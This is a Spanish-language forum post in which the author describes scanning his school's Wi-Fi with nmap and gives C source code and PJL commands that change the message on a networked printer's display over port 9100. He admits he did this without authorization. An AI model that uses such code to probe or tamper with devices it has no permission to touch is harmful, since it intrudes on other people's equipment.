Hack Impresora

Iniciado por DaXGoN, 15 Mayo 2013, 20:28 PM

0 Miembros y 1 Visitante están viendo este tema.

DaXGoN

Hola muchachos, antes inizio diciendo que no hay muchas imagenes y puede que no sea claro, por eso intentare de explicar bien.
Hoy estaba en la escuela conectado a la red wireless, hice un nmap -T Insane -A 192.168.1.0/24, para ver los equipos que estaban conectados a la red y las puertas abiertas.

Bueno, me aparecio questa IP: 192.168.1.27 con il nombre (Lexmark.. bla bla bla), si es una impresora, con muchos ports abiertos y uno de estos era el 9100.

9100    TCP      PDL Data Stream

Buscando buscando y googleando y buscando mas, cai en una pagina donde ensenyaban el PJL (Pritner Job Language), con unos codigos. Estos codigos eran unos comandos que enviados a la impresora habrian hecho algo!
Pense pense y pense, y llegue a la conclusion y me dije:

"Mateo, tu sabes programar en C, haz un programa que te envie ese comando para hacer algo en la impresora no?"

Y me puse a trabajar, el comando que use fue el de cambiar lo que hay escrito en la impresora (en la pantallita).

Llegando a este resultado (Me disculpo por la resolucion pero la hice con el celular y no tenia que verme el profesor)



En italiano "PACCHISSIMO" que se pronuncia "PAKKISSIMO" es una cosa mal hecha o con resultados no buenos.

Ese es el texto ya modificado! A placer obviamente. Ahora les dejo el codigo de mi programita. Pruebenlo y diganme que tal!

Código (cpp) [Seleccionar]

//Daxgon
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <stdio.h>

#define PORT 9100

int main (int argc, char *argv[]) {

 int sockfd,len,bytes_sent;
 struct hostent *host;
 struct sockaddr_in dest_addr;
 char line[100];
 
 if (argc !=3) {
   printf("\tIl messaggio non puo essere piu lungo di 16 caratteri\n");
   exit(1);
 }

 if ( (host=gethostbyname(argv[1])) == NULL) {
   perror("La funzione gethostbyname ha prodotto un errore");
   exit(1);
 }

 printf ("Stampanti Hack By: Dax\n");
 printf ("Hostname:   %s\n", argv[1]);
 printf ("Messaggio: %s\n",argv[2]);

 dest_addr.sin_family= host->h_addrtype;  
 dest_addr.sin_port= htons(PORT) ;
 bcopy(host->h_addr, (char *) &dest_addr.sin_addr, host->h_length);

 bzero(&(dest_addr.sin_zero), 8);
 
 printf ("Socket....\n");
 if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
   perror("Errore con il socket");
   exit(1);
 }

 printf ("Connettendo....\n");
 if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
   perror("Errore durante la connessione");
   exit(1);}

 //Questo è il codice della stampante
 
 strcpy(line,"\033%-12345X@PJL RDYMSG DISPLAY = \"");
 strncat(line,argv[2],44);
 strcat(line,"\"\r\n\033%-12345X\r\n");


 printf ("Inviando dati...%d\n",strlen(line));
 printf ("Linea: %s\n",line);
 bytes_sent=send(sockfd,line,strlen(line),0);
 
 printf("Inviati %d bytes\n",bytes_sent);
 close(sockfd);
}

Les prometo que entro sabado pondre muchas mas imagenes del nmap, asi entenderan mejor!

Si tienen dudas escribanme!

Big Up!

PS. Ahora estoy trabajando en un programa que me controla la impresora desde el computer. Pudiendo manejar todo lo que es posible. Quando este acabado y funcione lo dejare libre

Ah si, los codigos son estos por si no habian entendido.

Ec%-12345X@PJL RDYMSG DISPLAY="MESSAGE"
Ec%-12345X


Para compilar en Linux:

gcc -o nombredelarchivofinal nombredelarchivoenc.c

Y para ejecutar tenes que pasarle 2 argumentos. La IP local de la impresora y el mensaje ES:

./hackdisplay 192.168.1.27 "Este mensaje se vedra en la pantalla"
Muy pronto...